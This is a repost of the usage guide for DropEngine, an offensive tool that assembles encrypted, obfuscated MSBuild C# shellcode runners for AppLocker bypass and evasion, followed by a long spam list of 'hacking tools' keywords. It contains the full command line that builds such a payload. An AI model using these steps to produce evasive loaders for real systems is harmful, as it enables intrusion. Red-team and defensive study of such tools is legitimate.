By @s0lst1c3
Disclaimer
DropEngine (the "Software") and associated documentation is provided "AS IS". The Developer makes no other warranties, express or implied, and hereby disclaims all implied warranties, including any warranty of merchantability and warranty of fitness for a particular purpose. Any actions or activities related to the use of the Software are the sole responsibility of the end user. The Developer will not be held responsible in the event that any criminal charges are brought against any individuals using or misusing the Software. It is up to the end user to use the Software in an authorized manner and to ensure that their use complies with all applicable laws and regulations.
Install
Clone the git repo:
git clone https://github.com/s0lst1c3/dropengine.git
Create a new virtual env:python3.7 -m venv venv
Activate the virtual env:source venv/bin/activate
Constructing a Basic Payload
Module Selection
DropEngine accepts a list of module names from the command line and uses them to construct a payload. To make things a bit easier to follow, this guide will walk you through the process of listing the various types of modules needed to create a basic payload. Keep in mind that we're not actually executing anything yet. We're just seeing what modules are available and describing what they do.
First, we need to decide what kind of shellcode runner we want to use. To get a list of available shellcode runners, use the
--list runners
flag:Command:
python dropengine.py --list runners
Example Output:(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$ python dropengine.py --list runners
Listing runners:
runner - basic_csharp_runner
runner - basic_csharp_runner_no_mutation
runner - csharp_installutil
runner - msbuild_csharp_runner
(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$
We'll go ahead and plan to use the "msbuild_csharp_runner", which will give us an MSBuild payload written in C#.Next, we'll need to select an interface module that is compatible with our shellcode runner. In DropEngine, you can think of interfaces as the "glue" that binds your payload together. The interface facilitates communication between you (the user), and between the various modules in your payload.
To get a list of available interfaces, use the
--list interfaces
flag as shown in the following example:Command:
python dropengine.py --list interfaces
Example Output:(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$ python dropengine.py --list interfaces
Listing interfaces:
runner_interface - csharp_runner_interface - Interface for generating CSharp payloads
As you can see from the Example Output shown above, the only available interface at this time is the csharp_runner_interface, which is designed for building payloads using C#.Next, let's decide on a crypter to protect our shellcode. To obtain a list of available crypters, use the
--list crypters
flag as shown below:Command:
python dropengine.py --list crypters
Example Output:(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$ python dropengine.py --list crypters
Listing crypters:
crypter - crypter_aes
(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$
As with our interfaces, we really only have one crypter module available at this time, and that's "crypter_aes".We'll also need a decrypter module to convert our shellcode back into plaintext. To get a list of decrypters, use the
--list decrypters
command:Command:
decrypter - decrypter_csharp_rijndael_aes
Example Output:(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$ python dropengine.py --list decrypters
Listing decrypters:
decrypter - decrypter_csharp_rijndael_aes
(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$
We'll go ahead and use the "decrypter_csharp_rijndael_aes", since it's compatible with our crypter module.Now we need to select encryption and decryption key modules to use with our selected crypter and decrypter. To list all available crypters and decrypters, use the
--list ekeys dkeys
command as shown below:Command:
python dropengine.py --list ekeys dkeys
Example Output:(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$ python dropengine.py --list ekeys dkeys
Listing ekeys:
ekey - ekey_env_ad_domain_name
ekey - ekey_env_ext_fqdn
ekey - ekey_env_ext_ip
ekey - ekey_env_hd_serial
ekey - ekey_env_int_fqdn
ekey - ekey_env_int_hostname
ekey - ekey_env_mac_addr
ekey - ekey_env_mac_oui
ekey - ekey_env_moonphase
ekey - ekey_env_timezone
ekey - ekey_env_username
ekey - ekey_env_vol_serial
ekey - ekey_one_time_remote_http
ekey - ekey_static
Listing dkeys:
dkey - dkey_csharp_static
dkey - dkey_csharp_env_ad_domain_name
dkey - dkey_env_csharp_ext_fqdn
dkey - dkey_env_csharp_ext_ip
dkey - dkey_env_csharp_hd_serial
dkey - dkey_env_csharp_int_fqdn
dkey - dkey_env_csharp_int_hostname
dkey - dkey_env_c sharp_mac_addr
dkey - dkey_env_csharp_mac_oui
dkey - dkey_env_csharp_moonphase
dkey - dkey_env_csharp_timezone
dkey - dkey_env_csharp_username
dkey - dkey_env_csharp_vol_serial
dkey - dkey_remote_csharp_otk_http
(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$
Let's keep things simple for now and use the two static key modules: "dkey_csharp_static" and "ekey_static".Next, we need to select an executor module to execute our raw shellcode. To get a list of available executors:
Command:
python dropengine.py --list executors
Example Output:(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$ python dropengine.py --list executors
Listing executors:
executor - executor_csharp_virtual_alloc_thread
(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$
At this time, our only compatible executor is "executor_csharp_virtual_alloc_thread", so we'll use that.Finally, we just need to select a mutator module to perform symbol transformation on our completed payload. To get a list of available mutators, use the
--list mutators
command:Command:
python dropengine.py --list mutators
Example Output:(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$ python dropengine.py --list mutators
Listing mutators:
mutator - mutator_null
mutator - mutator_random_string
mutator - mutator_rot13
mutator - mutator_wordlist
(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$
We'll go ahead and use the "mutator_random_string" module.Select a runne here
Creating the Payload
We've now explored the various payload components available to us and selected the ones we want to use. Now it's time to create our payload. Recall that in the previous section we made the following sections:
- interface - csharp_runner_interface
- crypter - crypter_aes
- decrypter - decrypter_csharp_rijndael_aes
- encryption key - ekey_static
- decryption key - dkey_csharp_static
- executor - executor_csharp_virtual_alloc_thread
- mutator mutator_random_string
(venv) s0lst1c3@DESKTOP-NC0U49D:/mnt/c/Users/s0lst1c3/obfuscation$ python dropengine.py --interface csharp_runner_interface \
--crypter crypter_aes \
--decrypter decrypter_csharp_rijndael_aes \
--ekey ekey_static \
--runner msbuild_csharp_runner \
--dkey dkey_csharp_static \
--executor executor_csharp_virtual_alloc_thread \
--mutator mutator_random_string \
--shellcode shell.bin \
--o example.csproj
Acknowledgements
This tool either builds upon, is inspired by, or directly incorporates prior research and development from the following awesome people:
Applocker Bypasses
Enivoronmental Keying
- Travis Morrow (Ebowla)
- secretsquirrel (Ebowla)
- Antonio24 (Spotter)
- matterpreter (Spotter)
- dmchell
Payload Obfuscation
- @subtee
- Chris Truncer (Veil)
- Harmj0y
- byt3bl33d3r (SilentTrinity, CrackMapExec, and MITMf)
- arvanaghi (CheckPlease)
- Chris Truncer (CheckPlease)
via KitPloit
Related word
- Pentest Tools Website Vulnerability
- Hacking Tools 2020
- Top Pentest Tools
- Hacker Search Tools
- Hack Tool Apk No Root
- Hacks And Tools
- Hacker Tools Github
- Github Hacking Tools
- Hacking App
- Hacker Tools 2019
- Hacking Tools For Pc
- Hacks And Tools
- Hacking Tools 2019
- Nsa Hacker Tools
- Install Pentest Tools Ubuntu
- Nsa Hack Tools
- Hacking Tools Name
- Pentest Tools Nmap
- Pentest Tools Review
- Pentest Tools Online
- Hacking Tools For Windows
- Pentest Tools Linux
- What Are Hacking Tools
- Pentest Tools For Mac
- Hacking Tools 2020
- Usb Pentest Tools
- Hack App
- Hacking Tools Mac
- Pentest Tools Apk
- Hack App
- Nsa Hack Tools
- Hacker Tools 2019
- Hacking Tools
- Hacker Tools List
- Hacker Tools Mac
- Blackhat Hacker Tools
- Hacker Search Tools
- Pentest Automation Tools
- New Hacker Tools
- Best Hacking Tools 2020
- Hack And Tools
- Pentest Tools Online
- Hacking Tools For Windows Free Download
- Pentest Box Tools Download
- Hacker Tools For Pc
- Pentest Tools Find Subdomains
- How To Make Hacking Tools
- Hacking Tools
- Pentest Tools Port Scanner
- Hacker Tools For Ios
- Nsa Hack Tools
- Hacker Tools Online
- Hacking Tools Name
- Hacker Tools List
- Hacking Tools For Kali Linux
- Growth Hacker Tools
- Hacking Tools 2019
- Hack App
- Tools 4 Hack
- Hacking Tools For Beginners
- Pentest Tools Tcp Port Scanner
- Hacker Security Tools
- Hak5 Tools
- Tools 4 Hack
- Hacking Tools Name
- Blackhat Hacker Tools
- Hack Tool Apk
- Termux Hacking Tools 2019
- Hacking Tools Download
- Hacker Tools List
- Hacker Tools 2020
- Pentest Tools For Ubuntu
- Hacker Tools Online
- Hacks And Tools
- Usb Pentest Tools
- Hack Tools Online
- Pentest Tools For Windows
- Pentest Tools Linux
- Pentest Tools Tcp Port Scanner
- Tools 4 Hack
- Hacking Tools And Software
- Hacking Tools Software
- Wifi Hacker Tools For Windows
- Hacker Tools
- Hacker Tools List
- Pentest Tools Github
- Hacking Tools Windows
- Hack Tools For Games
- Hacker Tools For Windows
- Hack Tools For Games
- Hacking Tools
- Hack Tools Download
- Hack Tools Download
- Nsa Hack Tools
- Physical Pentest Tools
- Pentest Tools Apk
- Hacking Tools For Windows 7
- Pentest Tools Tcp Port Scanner
- Android Hack Tools Github
- Computer Hacker
- Hacking Apps
- Physical Pentest Tools
- Hacking Tools For Windows
- Pentest Tools Kali Linux
- Pentest Reporting Tools
- Hacker Tools
- Pentest Tools Framework
- Free Pentest Tools For Windows
- New Hack Tools
- Hacking Tools Online
- Hacking Tools Github
- Hacker Tools For Ios
- Hacker Tools Software
- Termux Hacking Tools 2019
- Hack Rom Tools
- Pentest Tools Alternative
- Tools For Hacker
- Usb Pentest Tools
- Pentest Tools Linux
- Pentest Reporting Tools
- Hacker Tools Free Download
- Pentest Tools Open Source
- Pentest Tools Port Scanner
- Hacking Tools Online
- Wifi Hacker Tools For Windows
- Underground Hacker Sites
- Hacking App
- Hacker Tools Hardware
- Hacking Tools Windows 10
- Hacking Tools For Games
- Pentest Box Tools Download
- Github Hacking Tools
- Pentest Tools Github
- Underground Hacker Sites
- Hack Tool Apk No Root
- Hackrf Tools
- Hacker Tools Online
- Hack Tools
- Hacker Tools Software
- Beginner Hacker Tools
- Hack Tools Mac
- Hack Tools For Games
- Hacking Tools 2020
- Hacking Tools 2020
- Hack Tools For Mac
- Pentest Tools Apk
- Hacking Tools For Windows Free Download
- Pentest Automation Tools
- Pentest Tools For Mac
- Pentest Tools
- Black Hat Hacker Tools
- Hacking Apps
- Hack Tools For Games
- Hacking Tools Mac
- Hacker Tools Apk
- Pentest Tools
- Hacking Tools For Windows Free Download
- Nsa Hack Tools Download
- Hacker Tools List
- Hack Tools For Ubuntu
- Hacking Apps
- Bluetooth Hacking Tools Kali
- Free Pentest Tools For Windows
- Hack Website Online Tool
- Nsa Hack Tools
- Hacks And Tools
- Hacking Tools Usb
Tiada ulasan:
Catat Ulasan